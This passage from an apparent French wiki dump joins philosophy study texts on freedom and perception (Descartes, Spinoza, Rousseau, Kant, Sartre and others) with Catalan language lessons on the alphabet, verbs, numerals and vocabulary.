il est certain que si nous considérons tous les biens qui sont hors de nous comme également éloignés de notre pouvoir, nous n'aurons pas plus de regret de manquer de ceux qui semblent être dus à notre naissance, lorsque nous en serons privés sans notre faute, que nous avons de ne posséder pas les royaumes de la Chine ou de Mexique; et que faisant, comme on dit, de nécessité vertu, nous ne désirerons pas davantage d'être sains, étant malades, ou d'être libres, étant en prison, que nous faisons maintenant d'avoir des corps d'une matière aussi peu corruptible que les diamants, ou des ailes pour voler comme les oiseaux. Mais j'avoue qu'il est besoin d'un long exercice, et d'une méditation souvent réitérée, pour s'accoutumer à regarder de ce biais toutes les choses; et je crois que c'est principalement en ceci que consistait le secret de ces philosophes, qui ont pu autrefois se soustraire à l'empire de la fortune et, malgré les douleurs et la pauvreté, disputer de la félicité avec leurs dieux. Car, s'occupant sans cesse à considérer les bornes qui leur étaient prescrites par la nature, ils se persuadaient si parfaitement que rien n'était en leur pouvoir que leurs pensées, que cela seul était suffisant pour les empêcher d'avoir aucune affection pour d'autres choses; et ils disposaient d'elles si absolument, qu'ils avaient en cela quelque raison de s'estimer plus riches, et plus puissants, et plus libres, et plus heureux qu'aucun des autres hommes qui, n'ayant point cette philosophie, tant favorisés de la nature et de la fortune qu'ils puissent être, ne disposent jamais ainsi de tout ce qu'ils veulent. Discours de la méthode (1637), troisième partie. DESCARTES Pour ce qui est du libre arbitre, je suis complètement d'accord avec ce qu'en a écrit le Révérend Père. Et, pour exposer plus complètement mon opinion, je voudrais noter à ce sujet que l'indifférence me semble signifier proprement l'état dans lequel est la volonté lorsqu'elle n'est pas poussée d'un côté plutôt que de l'autre par la perception du vrai ou du bien; et c'est en ce sens que je l'ai prise lorsque j'ai écrit que le plus bas degré de la liberté est celui où nous nous déterminons aux choses pour lesquelles nous sommes indifférents. Mais peut-être que d'autres entendent par indifférence une faculté positive de se déterminer pour l'un ou l'autre de deux contraires, c'est-à-dire pour poursuivre ou pour fuir, pour affirmer ou pour nier. Cette faculté positive, je n'ai pas nié qu'elle fût dans la volonté. Bien plus, j'estime qu'elle y est, non seulement dans ces actes où telle n'est pas poussée par des raisons évidentes d'un côté plutôt que de l'autre, mais aussi dans tous les autres; à ce point que, lorsqu'une raison très évidente nous porte d'un côté, bien que, moralement parlant, nous ne puissions guère aller à l'opposé, absolument parlant, néanmoins, nous le pourrions. En effet, il nous est toujours possible de nous retenir de poursuivre un bien clairement connu ou d'admettre une vérité évidente, pourvu que nous pensions que c'est un bien d'affirmer par là notre libre-arbitre. De plus, il faut remarquer que la liberté peut être considérée dans les actions de la volonté avant l'accomplissement ou pendant l'accomplissement. Considérée dans ces actions avant l'accomplissement, elle implique l'indifférence prise au second sens, et non au premier. Et bien que nous puissions dire, quand nous opposons notre propre jugement aux commandements des autres, que nous sommes plus libres de faire les choses pour lesquelles rien ne nous a été prescrit par les autres et dans lesquelles il nous est permis de suivre notre propre jugement que de faire celles qui nous sont interdites, nous ne pouvons pas dire de la même façon, quand nous opposons les uns aux autres nos jugements ou nos connaissances, que nous sommes plus libres de faire les choses qui ne nous semblent ni bonnes ni mauvaises, ou dans lesquelles nous voyons autant de bien que de mal que de faire celles où nous voyons beaucoup plus de bien que de mal. Une plus grande liberté consiste en effet ou bien dans une plus grande facilité de se déterminer, ou bien dans un plus grand usage de cette puissance positive que nous avons de suivre le pire, tout en voyant le meilleur. Si nous prenons le parti où nous voyons le plus de bien, nous nous déterminons plus facilement; si nous suivons le parti contraire, nous usons davantage de cette puissance positive; ainsi, nous pouvons toujours agir plus librement dans les choses où nous voyons plus de bien que de mal, que dans les choses appelées par nous indifférentes. En ce sens on peut même dire que les choses qui nous sont commandées par les autres et que sans cela nous ne ferions point de nous-mêmes, nous les faisons moins librement que celles qui ne nous sont pas commandées; parce que le jugement qu'elles sont difficiles à faire est opposé au jugement qu'il est bon de faire ce qui est commandé, et, ces deux jugements, plus ils nous meuvent également, plus ils mettent en nous d'indifférence prise au premier sens. Considérée maintenant dans les actions de la volonté pendant qu'elles s'accomplissent, la liberté n'implique aucune indifférence, qu'on la prenne au premier ou au deuxième sens; parce que ce qui est fait ne peut pas demeurer non fait, étant donné qu'on le fait. Mais elle consiste dans la seule facilité d'exécution, et alors, libre, spontané et volontaire ne sont qu'une même chose. C'est en ce sens que j'ai écrit que je suis porté d'autant plus librement vers quelque chose que je suis poussé par plus de raisons, car il est certain que notre volonté se meut alors avec plus de facilité et plus d'élan. Lettre au P. Mesland du 9 Février 1643 SPINOZA J'en conviens, les affaires humaines iraient beaucoup mieux s'il était également au pouvoir de l'homme de se taire ou de parler. Mais l'expérience montre assez et au-delà que les hommes n'ont rien moins en leur pouvoir que leur langue, et qu'ils ne peuvent rien moins que de régler leurs désirs ; d'où vient que la plupart croient que nous n'agissons librement qu'à l'égard des choses que nous désirons modérément, parce que le désir de ces choses peut être facilement contrarié par le souvenir d'une autre chose dont nous nous souvenons souvent ; mais que nous ne sommes pas du tout libres à l'égard des choses que nous désirons vivement et qui ne peut être apaisé par le souvenir d'une autre chose. Mais, en vérité, s'ils ne savaient par expérience que nous accomplissons plus d'un acte dont nous nous repentons ensuite, et que souvent par exemple quand nous sommes partagés entre des sentiments contraires nous voyons le meilleur et suivons le pire, rien ne les empêcherait de croire que nous agissons toujours librement. C'est ainsi qu'un petit enfant croit désirer librement le lait, un jeune garçon en colère vouloir se venger, et un peureux s'enfuir. Un homme ivre aussi croit dire d'après un libre décret de l'esprit ce que, revenu à son état normal, il voudrait avoir tu ; de même le délirant, la bavarde, l'enfant et beaucoup de gens de même farine croient parler selon un libre décret de l'esprit, alors que pourtant ils ne peuvent contenir leur envie de parler. L'expérience elle-même n'enseigne donc pas moins clairement que la raison qu'ils sont conscients de leurs actions et ignorants des causes par lesquelles ils sont déterminés ; elle montre en outre que les décrets de l'esprit ne sont rien en dehors des appétits mêmes, et sont par conséquent variables selon l'état variable du corps. L'Ethique SPINOZA On croit que l'esclave est celui qui agit sur commandement d'autrui, et que l'homme libre est celui qui se conduit selon son propre gré. Mais cela n'est pas absolument vrai. En réalité, celui qui se laisse entraîner par son seul plaisir, au point de ne plus voir ni faire rien de ce qui lui serait utile, est soumis au plus grand esclavage, et seul est libre celui qui vit volontairement sous la conduite de la raison. Quant à l'action commandée, c'est-à-dire l'obéissance, elle ôte bien d'une certaine manière la liberté, mais ce n'est pas cela qui rend immédiatement esclave, c'est la raison de l'action. Si la fin de l'action n'est pas l'utilité de l'agent lui-même, mais de celui qui le commande, alors l'agent est esclave et inutile à soi-même. Mais dans un état et sous un pouvoir où la loi suprême n'est pas le salut de celui qui commande, mais le salut du peuple tout entier, celui qui se soumet au pouvoir souverain doit être dit non pas esclave inutile à soi, mais sujet. Ainsi l'état le plus libre est celui qui se soumet en tout à la droite raison, car chacun, s'il le veut, peut y être libre, c'est-à-dire y vivre volontairement sous la conduite de la raison. ROUSSEAU Je ne vois dans tout animal qu'une machine ingénieuse, à qui la nature a donné des sens pour se remonter elle-même, et pour se garantir, jusqu'à un certain point, de tout ce qui tend à la détruire, ou à la déranger. J'aperçois précisément les mêmes choses dans la machine humaine, avec cette différence que la nature seule fait tout dans les opérations de la bête, au lieu que l'homme concourt aux siennes, en qualité d'agent libre. L'un choisit ou rejette par instinct, et l'autre par un acte de liberté; ce qui fait que la bête ne peut s'écarter de la règle qui lui est prescrite, même quand il lui serait avantageux de le faire, et que l'homme s'en écarte souvent à son préjudice. C'est ainsi qu'un pigeon mourrait de faim près d'un bassin rempli des meilleures viandes, et un chat sur des tas de fruits, ou de grain, quoique l'un et l'autre pût très bien se nourrir de l'aliment qu'il dédaigne, s'il s'était avisé d'en essayer. C'est ainsi que les hommes dissolus se livrent à des excès, qui leur causent la fièvre et la mort, parce que l'esprit déprave les sens, et que la volonté parle encore, quand la nature se tait. Tout animal a des idées puisqu'il a des sens; il combine même ses idées jusqu'à un certain point, et l'homme ne diffère à cet égard de la bête que du plus au moins. Quelques philosophes ont même avancé qu'il y a plus de différence de tel homme à tel homme que de tel homme à telle bête; ce n'est donc pas tant l'entendement qui fait parmi les animaux la distinction spécifique de l'homme que sa qualité d'agent libre. La nature commande à tout animal, et la bête obéit. L'homme éprouve la même impression, mais il se reconnaît libre d'acquiescer, ou de résister; et c'est surtout dans la conscience de cette liberté que se montre la spiritualité de son âme : car la physique explique en quelque manière le mécanisme des sens et la formation des idées; mais dans la puissance de vouloir ou plutôt de choisir, et dans le sentiment de cette puissance, on ne trouve que des actes purement spirituels, dont on n'explique rien par les lois de la mécanique. Discours sur l'origine et les fondements de l'inégalité parmi les hommes (1755), 1ère partie. CONDORCET Un homme se présente à moi, et me dit : Donnez-moi une telle somme, et je serai votre esclave. Je lui délivre la somme, il l'emploie librement (sans cela le marché serait absurde); ai-je le droit de le retenir en esclavage ? J'entends lui seul; car il est bien clair qu'il n'a pas eu le droit de me vendre sa postérité; et quelle que soit l'origine de l'esclavage du père, les enfants naissent libres. Je réponds que dans ce cas-là même, je ne puis avoir ce droit. En effet, si un homme se loue à un autre homme pour un an, par exemple, soit pour travailler dans sa maison, soit pour le servir, il a formé avec son maître une convention libre, dont chacun des contractants a le droit d'exiger l'exécution. Supposons que l'ouvrier se soit engagé pour la vie : le droit réciproque entre lui et l'homme à qui il s'est engagé doit subsister comme pour une convention à temps. Si les lois veillent à l'exécution du traité; si elles règlent la peine qui sera imposée à celui qui viole la convention; si les coups, les injures du maître sont punies par des peines ou pécuniaires ou corporelles (et pour que les lois soient justes, il faut que, pour le même acte de violence, pour le même outrage, la peine soit aussi la même pour le maître et pour l'homme engagé); si les tribunaux annulent la convention dans le cas où le maître est convaincu ou d'excéder de travail son domestique, son ouvrier engagé, ou de ne pas pourvoir à sa subsistance; si lorsque après avoir profité du travail de sa jeunesse, son maître l'abandonne, la loi condamne ce maître à lui payer une pension : alors cet homme n'est point esclave. Qu'est-ce en effet que la liberté considérée dans le rapport d'un homme à un autre ? C'est le pouvoir de faire tout ce qui n'est pas contraire à ses conventions; et dans le cas où l'on s'en écarte, le droit de ne pouvoir être contraint à les remplir, ou puni d'y avoir manqué, que par un jugement légal. C'est enfin le droit d'implorer le secours des lois contre toute espèce d'injure ou de lésion. Un homme a-t-il renoncé à ses droits; sans doute alors il devient esclave : mais aussi son engagement devient nul par lui-même, comme l'effet d'une folie habituelle, ou d'une aliénation d'esprit causée par la passion ou l'excès du besoin. Ainsi, tout homme qui, dans ses conventions, a conservé les droits naturels que nous venons d'exposer, n'est pas esclave; et celui qui y a renoncé, ayant fait un engagement nul, est aussi en droit de réclamer sa liberté, que l'esclave fait par la violence : il peut rester le débiteur, mais seulement le débiteur libre de son maître. Il n'y a donc aucun cas où l'esclavage, même volontaire dans son origine, puisse n'être pas contraire au droit naturel. Réflexions sur l'esclavage des Nègres (1781), chap. IV KANT Il n'y a personne, pas même le scélérat le plus consommé, pour peu qu'il soit habitué à faire usage de sa raison, qui, lorsqu'on lui propose des exemples de loyauté dans les desseins, de persévérance dans la pratique des bonnes maximes, de sympathie et de bienveillance universelle (en y joignant même de grands sacrifices d'avantages et de commodités), ne souhaite aussi par lui-même ces dispositions. Ses inclinations et ses penchants l'empêchent seuls d'y parvenir, mais il n'en souhaite pas moins d'être libre de ces inclinations qui lui pèsent à lui-même. Il prouve donc par là qu'il se transporte en pensée, avec une volonté libre des impulsions de la sensibilité, dans un ordre de choses totalement différent de celui de ses désirs dans le champ de la sensibilité, car, en formant un tel souhait, il ne peut attendre la satisfaction de quelqu'un de ses désirs, ou de quelqu'une de ses inclinations réelles ou imaginables (puisqu'il ôterait par là toute sa supériorité à l'idée qui lui arrache ce souhait), mais seulement une plus grande valeur intérieure de sa personne. Or il croit être cette personne meilleure, lorsqu'il se place au point de vue d'un membre de ce monde intelligible, auquel il se voit involontairement soumis par l'idée de la liberté, c'est-à-dire de l'indépendance à l'égard de toutes les causes déterminantes du monde sensible, et de ce point de vue il a conscience d'une bonne volonté, qui, de son propre aveu, est, pour la volonté mauvaise qu'il manifeste, en tant que membre du monde sensible, la loi dont il reconnaît l'autorité, tout en la violant. Ainsi, comme membre d'un monde intelligible, il veut nécessairement ce qu'il doit moralement, et il ne distingue le devoir du vouloir qu'autant qu'il se considère comme faisant partie du monde sensible. Fondements de la métaphysique des moeurs, 1785 MERLEAU-PONTY Il y a (...) deux vues classiques. L'une consiste à traiter l'homme comme le résultat des influences physiques, physiologiques et sociologiques qui le détermineraient du dehors et feraient de lui une chose entre les choses. L'autre consiste à reconnaître dans l'homme, en tant qu'il est esprit et construit la représentation des causes mêmes qui sont censées agit sur lui, une liberté acosmique. D'un côté l'homme est une partie du monde, de l'autre il est conscience constituante du monde. Aucune de ces deux vues n'est satisfaisante. À la première on opposera toujours (... ) que, si l'homme était une chose entre les choses, il ne saurait en connaître aucune, puisqu'il serait, comme cette chaise ou comme cette table, enfermé dans ses limites, présent en un certain lieu de l'espace et donc incapable de se les représenter tous. Il faut lui recon-naître une manière d'être très particulière, l'être intentionnel, qui consiste à viser toutes choses et à ne demeurer en aucune. Mais si l'on voulait conclure de là que, par notre fond, nous sommes esprit absolu, on ren-drait incompréhensibles nos attaches corporelles et sociales, notre insertion dans le monde, on renoncerait à la condition humaine. SARTRE Si l'homme est ce qu'il est, la mauvaise foi est à tout jamais impossible et la franchise cesse d'être son idéal pour devenir son être : mais l'homme est - il ce qu'il est et, de manière générale, comment peut - on être ce qu'on est, lorsqu'on est comme conscience d'être ? Si la franchise, ou sincérité, est une valeur universelle, il va de soi que sa maxime : il faut être ce qu'on est ne sert pas uniquement de principe régulateur pour les jugements et les concepts par lesquels j'exprime ce que je suis. Elle pose non pas simplement un idéal du connaître mais un idéal d'être, elle nous propose une adéquation absolue de l'être avec lui-même comme prototype d'être. En ce sens il faut nous faire être comme nous sommes. Mais que sommes - nous donc si nous avons l'obligation constante de nous faire être ce que nous sommes, si nous sommes sur le mode du devoir être ce que nous sommes ? Considérons ce garçon de café. Il a le geste vif et appuyé, un peu trop précis, un peu trop rapide, il vient vers les consommateurs d'un pas un peu trop vif, il s'incline avec un peu trop d'empressement, sa voix, ses yeux expriment un intérêt un peu trop plein de sollicitude pour la commande du client, enfin le voilà qui revient, en essayant d'imiter dans sa démarche la rigueur inflexible d'on ne sait quel automate, tout en portant son plateau avec une sorte de témérité de funambule, en le mettant dans un équilibre perpétuellement instable et perpétuellement rompu, qu'il rétablit perpétuellement d'un mouvement léger du bras et de la main. Toute sa conduite nous semble un jeu. Il s'applique à enchaîner ses mouvements comme s'ils étaient des mécanismes se commandant les uns les autres, sa mimique et sa voix même semblent des mécanismes : il se donne la prestesse et la rapidité impitoyable des choses. Il joue, il s'amuse. Mais à quoi donc joue-t-il ? Il ne faut pas l'observer longtemps pour s'en rendre compte : il joue à être garçon de café. L'être et le néant. ==Bibliographie== *[[Platon]], ''[[La République]]'' *[[Aristote]], ''De l'interprétation'' *[[Aristote]], ''Ethique à Nicomaque'' *[[Cicéron]], ''De fato'' *[[Épictète]], ''Manuel'' *[[Augustin d'Hippone]], ''De libero arbitrio'' *[[Hobbes]], [[Léviathan]] *[[Descartes]], [[Méditations Métaphysiques]] *[[Descartes]], ''Principes de la philosophie'' *[[Descartes]], ''Passions de l'âme'' *[[Spinoza]], [[Éthique]] *[[Rousseau]], [[Émile ou De l'éducation]] *[[Locke]], ''Enquête sur l'entendement humain'' *[[Emmanuel Kant]], ''Critique de la raison pratique'' *[[Schopenhauer]], ''Essais sur le libre-arbitre'' *[[Nietzsche]], ''Généalogie de la morale'' *[[Henri Bergson]], ''Essais sur les données immédiates de la conscience'' *[[Bertrand Russell]], ''Notre connaissance du monde extérieur'' (dernier chapitre) *[[Wittgenstein]], ''Leçons sur la liberté de la volonté'' *[[Sartre]], ''L'être et le néant'' *[[Gertrude Elizabeth Marie Anscombe|G.E.M. Anscombe]], ''L'Intention'' Enseignement du catalan 234 29916 2006-01-23T12:02:57Z Boly38 136 +cat langue # [[Katalanisch:_L%27alfabet|L'alfabet]] # [[Catalan: L'article|L'article]] # [[Catalan: Plural|Plural]] # [[Catalan: Pronoms|Pronoms]] # [[Catalan: Verbs|Verbs]] # [[Catalan: Numerals|Numerals]] # [[Catalan: Interrogatius|Interrogatius]] # [[Catalan: Preposicions|Preposicions]] # [[Catalan: Imperatiu|Imperatiu]] # [[Catalan: Futur|Futur]] # [[Catalan: Passats|Passats]] # [[Catalan: Condicional|Condicional]] # [[Catalan: Subjuntiu|Subjuntiu]] # [[Catalan: Pronunciacio|Pronunciació]] # [[Catalan: Vocabulari|Vocabulari]] ==Liens externes== * [http://fr.wikipedia.org/wiki/Catalan wikipedia sur le catalan] * [http://dcvb.iecat.net/ Diccionari català-valencià-balear - Institut d’Estudis Catalans] * [http://pdl.iec.es/entrada/diec.asp Portal de Dades Lingüístiques de l’Institut d’Estudis Catalans] * [http://www.grec.net/home/cel/dicc.htm Diccionari de la Llengua Catalana - D'Enciclopèdia Catalana] [[Catégorie:Langue|Catalan]] Katalanisch: L'alphabet 235 16678 2005-07-18T13:22:12Z Yann 2 Katalanisch: L'alfabet déplacé vers Katalanisch: L'alphabet ===L'alfabet=== <table border="1" bgcolor="#00AAFF"> <tr> <td>'''a'''</td> <td>a</td> <td></td> <td> '''n''' </td> <td>ena</td></tr> <tr> <td>'''b'''</td> <td>be</td> <td></td> <td>'''o'''</td> <td>o</td></tr> <tr> <td>'''c'''</td> <td>ce</td> <td></td> <td>'''p'''</td> <td>pe</td></tr> <tr> <td>'''ç'''</td> <td>ce trencada</td> <td></td> <td>'''q'''</td> <td>cu</td></tr> <tr> <td>'''d'''</td> <td>de</td> <td></td> <td>'''r'''</td> <td>erra</td></tr> <tr> <td>'''e'''</td> <td>e</td> <td></td> <td>'''s'''</td> <td>essa</td></tr> <tr> <td>'''f'''</td> <td>efa</td><td></td> <td>'''t'''</td> <td>te</td></tr> <tr> <td>'''g'''</td> <td>ge</td><td></td> <td>'''u'''</td> <td>u</td></tr> <tr> <td>'''h'''</td> <td>hac</td><td></td> <td>'''v'''</td> <td>ve (baixa)</td></tr> <tr> <td>'''i'''</td> <td>i</td><td></td> <td>'''w'''</td> <td>ve doble</td></tr> <tr> <td>'''j'''</td> <td>jota</td><td></td> <td>'''x'''</td> <td>equis</td></tr> <tr> <td>'''k'''</td> <td>ca</td><td></td> <td>'''y'''</td> <td>i grega</td></tr> <tr> <td>'''l'''</td> <td>ela</td><td></td> <td>'''z'''</td> <td>zeta</td></tr> <tr> <td>'''ll'''</td> <td>ella</td><td></td></td><td></td><td></td></tr> <tr> <td>'''l·l'''</td> <td>ela geminada</td><td></td></td><td></td><td></td></tr> <tr> <td>'''m'''</td> <td>ema</td><td></td><td></td><td></td> </table> Catalan: Verbs 236 12034 2004-07-31T17:20:25Z HB 15 migration (auteur Get-back-world-respect) ===Verbs regulars=== <table border="1" bgcolor="#00AAFF"> <tr> <td>''trob'''ar'''''</td> <td>''tém'''er'''''</td> <td>''perd'''re'''''</td> <td>''sent'''ir'''''</td> <td>''serv'''ir'''''</td></tr> <tr> <td><small>(trouver)</small></td> <td><small>(craindre)</small></td> <td><small>(perdre)</small></td> <td><small>(sentir/entendre)</small></td> <td><small>(servir)</small></td></tr> <tr> <td>''trob'''o'''''</td> <td>''tem'''o'''''</td> <td>''perd'''o'''''</td> <td>''sent'''o'''''</td> <td>''serv'''eixo'''''</td></tr> <tr> <td>''trob'''es'''''</td> <td>''tem'''s'''''</td> <td>''perd'''s'''''</td> <td>''sent'''s'''''</td> <td>''serv'''eixes'''''</td></tr> <tr> <td>''trob'''a'''''</td> <td>''tem''</td> <td>''perd''</td> <td>''sent''</td> <td>''serv'''eix'''''</td></tr> <tr> <td>''trob'''em'''''</td> <td>''tem'''em'''''</td> <td>''perd'''em'''''</td> <td>''sent'''im'''''</td> <td>''serv'''im'''''</td></tr> <tr> <td>''trob'''eu'''''</td> <td>''tem'''eu'''''</td> <td>''perd'''eu'''''</td> <td>''sent'''iu'''''</td> <td>''serv'''iu'''''</td></tr> <tr> <td>''trob'''en'''''</td> <td>''tem'''en'''''</td> <td>''perd'''en'''''</td> <td>''sent'''en'''''</td> <td>''serv'''eixen'''''</td></tr> </table> ===Verbs irregulars=== <table border="1" bgcolor="#00AAFF"> <tr> <td>'''ser'''</td> <td>'''estar'''</td> <td>'''tenir'''</td> <td>'''fer'''</td> <td>'''anar'''</td> <td>'''dir'''</td> <td>'''veure'''</td></tr> <tr> <td><small>(être)</small></td> <td><small>(être)</small></td> <td><small>(avoir)</small></td> <td><small>(faire)</small></td> <td><small>(aller)</small></td> <td><small>(dire)</small></td> <td><small>(voir)</small></td></tr> <tr> <td>sóc</td> <td>estic</td> <td>tinc</td> <td>faig</td> <td>vaig</td> <td>dic</td> <td>veig</td></tr> <tr> <td>ets</td> <td>estàs</td> <td>tens</td> <td>fas</td> <td>vas</td> <td>dius</td> <td>veus</td></tr> <tr> <td>és</td> <td>està</td> <td>té</td> <td>fa</td> <td>va</td> <td>diu</td> <td>veu</td></tr> <tr> <td>som</td> <td>estem</td> <td>tenim</td> <td>fem</td> <td>anem</td> <td>diem</td> <td>veiem</td></tr> <tr> <td>sou</td> <td>esteu</td> <td>teniu</td> <td>feu</td> <td>aneu</td> <td>dieu</td> <td>veieu</td></tr> <tr> <td>són</td> <td>estan</td> <td>tenen</td> <td>fan</td> <td>van</td> <td>diuen</td> <td>veuen</td></tr> </table> ===Verbs reflexius=== <table border="1" bgcolor="#00AAFF"> <tr> <td>llevar-'''se'''</td> <td>'''e'''stimar-'''se''' més</td></tr> <tr> <td><small>(se lever)</small></td> <td><small>(préférer)</small></td></tr> <tr> <td>'''em''' llevo</td> <td>'''m'e'''stimo més</td></tr> <tr> <td>'''et''' lleves</td> <td>'''t'e'''stimes més</td></tr> <tr> <td>'''es''' lleva</td> <td>'''s'e'''stima més</td></tr> <tr> <td>'''ens''' llevem</td> <td>'''ens''' estimem més</td></tr> <tr> <td>'''us''' lleveu</td> <td>'''us''' estimeu més</td></tr> <tr> <td>'''es''' lleven</td> <td>'''s'e'''stimen més</td></tr> </table> ===Liens externe=== *[http://www.verba.org verba.org] Catalan: Numerals 237 12035 2004-07-31T17:22:44Z HB 15 migration (auteur Get-back-world-respect) ===Numerals i ordinals=== <table border="1" bgcolor="#00AAFF"> <tr> <td>1 u (un, una)</td> <td>1r./1a. primer/primera</td></tr> <tr> <td>2 dos (dues)</td> <td>2n./2a. segon/segona</td></tr> <tr> <td>3 tres</td> <td>3r./3a. tercer/tercera</td></tr> <tr> <td>4 quatre</td> <td>4t./4a. quart/quarta</td></tr> <tr> <td>5 cinc</td> <td>5è./5a. cinquè/cinquena</td></tr> <tr> <td>6 sis</td> <td>6è./6a. sisè/sisena</td></tr> <tr> <td>7 set</td> <td>7è./7a. setè/setena</td></tr> <tr> <td>8 vuit</td> <td>8è./8a. vuitè/vuitena</td></tr> <tr> <td>9 nou</td> <td>9è./9a. novè/novena</td></tr> <tr> <td>10 deu</td> <td>10è./10a. desè/desena</td></tr> <tr> <td>11 onze</td> <td>11è./11a. onzè/onzena</td></tr> <tr> <td>12 dotze</td> <td>12è./12a. dotzè/dotzena</td></tr> <tr> <td>13 tretze</td> <td></td></tr> <tr> <td>14 catorze</td> <td></td></tr> <tr> <td>15 quinze</td> <td></td></tr> <tr> <td>16 setze</td> <td></td></tr> <tr> <td>17 disset</td> <td></td></tr> <tr> <td>18 divuit</td> <td></td></tr> <tr> <td>19 dinou</td> <td></td></tr> <tr> <td>20 vint</td> <td></td></tr> <tr> <td>21 vint-i-u ((un, una)</td> <td></td></tr> <tr> <td>22 vint-i-dos (dues)</td> <td></td></tr> <tr> <td>23 vint-i-tres</td> <td></td></tr> <tr> <td>30 trenta</td> <td></td></tr> <tr> <td>31 trenta-u (un, una)</td> <td></td></tr> <tr> <td>32 trenta-dos (dues)</td> <td></td></tr> <tr> <td>40 quaranta</td> <td></td></tr> <tr> <td>43 quaranta-tres</td> <td></td></tr> <tr> <td>50 cinquanta</td> <td></td></tr> <tr> <td>60 seixanta</td> <td></td></tr> <tr> <td>70 setanta</td> <td></td></tr> <tr> <td>80 vuitanta</td> <td></td></tr> <tr> <td>90 noranta</td> <td></td></tr> <tr> <td>100 cent</td> <td></td></tr> <tr> <td>101 cent u/un/una</td> <td></td></tr> <tr> <td>102 cent dos/dues</td> <td></td></tr> <tr> <td>110 cent deu</td> <td></td></tr> <tr> <td>120 cent vint</td> <td></td></tr> <tr> <td>200 dos-cents/dues-centes</td> <td></td></tr> <tr> <td>300 tres-cents/tres-centes</td> <td></td></tr> <tr> <td>400 quatre-cents/quatre-centes</td> <td></td></tr> <tr> <td>500 cinc-cents/cinc-centes</td> <td></td></tr> <tr> <td>600 sis-cents/sis-centes</td> <td></td></tr> <tr> <td>700 set-cents/set-centes</td> <td></td></tr> <tr> <td>800 vuit-cents/vuit-centes</td> <td></td></tr> <tr> <td>900 nou-cents/nou-centes</td> <td></td></tr> <tr> <td>1000 mil</td> <td></td></tr> <tr> <td>2000 dos mil</td> <td></td></tr> <tr> <td>100.000 cent mil</td> <td></td></tr> <tr> <td>1.000.000 un milió</td> <td></td></tr> <tr> <td>2.000.000 dos milions</td> <td></td></tr> </table> [http://amor.cms.hu-berlin.de/~h0444e1w/vokeng.htm Tout dans un fichier à apprendre avec l'ordinateur] Catalan: Vocabulari 238 12036 2004-07-31T17:26:22Z HB 15 migration (auteur Get-back-world-respect) <table border="1" bgcolor="#00AAFF"> <tr> <td>'''Els dies de la setmana'''</td> <td>'''Els meses de l'any'''</td> <td>'''Les estacions de l'any'''</td> <td>'''Els colors'''</td> <tr> <td><small>(Les jours de la semaine)</small></td> <td><small>(Les mois de l'année)</small></td> <td><small>(Les saisons)</small></td> <td><small>(Les couleurs)</small></td> <tr> <td>diumenge</td> <td>gener </td> <td>primavera</td> <td style="background:#000000; color:#FF0000; padding:5px;">vermell, roig</td> <tr> <td>dilluns</td> <td>febrer</td> <td>estiu</td> <td style="background:#FFFFFF; color:#0000FF; padding:5px;">blau</td> <tr> <td>dimarts</td> <td>març</td> <td>tardor</td> <td style="background:#000000; color:#00FF00; padding:5px;">verd</td> <tr> <td>dimecres</td> <td>abril</td> <td>hivern</td> <td style="background:#000000; color:#FFFF00; padding:5px;">groc</td> <tr> <td>dijous</td> <td>maig</td> <td></td> <td style="background:#000000; color:#FFFFFF; padding:5px;">blanc</td> <tr> <td>divendres</td> <td>juny</td> <td></td> <td style="background:#000000; color:#808080; padding:5px;">gris</td> <tr> <td>dissabte</td> <td>juliol</td> <td></td> <td style="background:#FFFFFF; color:#000000; padding:5px;">negre</td> <tr> <td></td> <td>agost</td> <td></td> <td style="background:#000000; color:#FFA500; padding:5px;">taronja</td> <tr> <td></td> <td>setembre</td> <td></td> <td style="background:#000000; color:#DF00DF; padding:5px;">rosa</td> <tr> <td></td> <td>octubre</td> <td></td> <td style="background:#FFFFFF; color:#8B00FF; padding:5px;">lila</td> <tr> <td></td> <td>novembre</td> <td></td> <td style="background:#FFFFFF; color:#964B00; padding:5px;">marró</td> <tr> <td></td> <td>desembre</td> <td></td> <td></td> </tr> </table> [http://amor.cms.hu-berlin.de/~h0444e1w/vokeng.htm Le vocabulaire dans un fichier à apprendre avec l'ordinateur] Philosophie/Perception 240 46054 2006-06-27T18:23:29Z Guillaumito 46 [[Perception]] déplacé vers [[Philosophie/Perception]]: Convention de nommage {{SommairePhilo}} La perception est "l'acte par lequel un individu, organisant immédiatement ses sensations, les interprétant et les complétant par des images et des souvenirs, s'oppose un objet qu'il juge spontanément distinct de lui, réel et actuellement connu de lui." (Lalande) == Sujets de dissertations == *La perception ne nous permet-elle que d'atteindre des apparences ? *Ce qui est réel pour l'homme est-il seulement ce que je peux appréhender par les 5 sens ? *Comment savons-nous que ce que nous percevons est réel? *N'y a-t-il de science que de l'apparaître ? *Ma perception est-elle une somme de sensations? *Percevoir, est ce seulement recevoir? *Percevoir est-ce interpréter ? *Percevoir, observer, contempler ? *"Je ne crois que ce que je vois". Est-ce la une bonne méthode pour découvrir la vérité ? (Perception) *Pourquoi avons nous des sens ? *Suffit-il de voir pour savoir ? *La perception est-elle déjà une science? *Quand nous percevons, savons-nous que nous ne rêvons pas ? *En quel sens percevoir est-ce se souvenir ? *Peut-on dire que la perception est une connaissance ? *Ma perception est-elle une somme de sensations ? *Le réel se réduit il a ce que l'on perçoit ? == Textes d'étude == DESCARTES Commençons par la considération des choses les plus communes, et que nous croyons comprendre le plus distinctement, à savoir les corps que nous touchons et que nous voyons. Je n'entends pas parler des corps en général, car ces notions générales sont d'ordinaire plus confuses, mais de quelqu'un en particulier. Prenons pour exemple ce morceau de cire qui vient d'être tiré de la ruche : il n'a pas encore perdu la douceur du miel qu'il contenait, il retient encore quelque chose de l'odeur des fleurs dont il a été recueilli; sa couleur, sa figure, sa grandeur, sont apparentes; il est dur, il est froid, on le touche, et si vous le frappez, il rendra quelque son. Enfin toutes les choses qui peuvent distinctement faire connaître un corps, se rencontrent en celui-ci. Mais voici que, cependant que je parle, on l'approche du feu : ce qui y restait de saveur s'exhale, l'odeur s'évanouit, sa couleur se change, sa figure se perd, sa grandeur augmente, il devient liquide, il s'échauffe, à peine le peut-on toucher, et quoiqu'on le frappe, il ne rendra plus aucun son. La même cire demeure-t-elle après ce changement ? Il faut avouer qu'elle demeure; et personne ne le peut nier. Qu'est-ce donc que l'on connaissait en ce morceau de cire avec tant de distinction ? Certes ce ne peut être rien de tout ce que j'y ai remarqué par l'entremise des sens, puisque toutes les choses qui tombaient sous le goût, ou l'odorat, ou la vue, ou l'attouchement, ou l'ouïe, se trouvent changées, et cependant la même cire demeure. Peut-être était-ce ce que je pense maintenant, à savoir que la cire n'était pas ni cette douceur du miel, ni cette agréable odeur des fleurs, ni cette blancheur, ni cette figure, ni 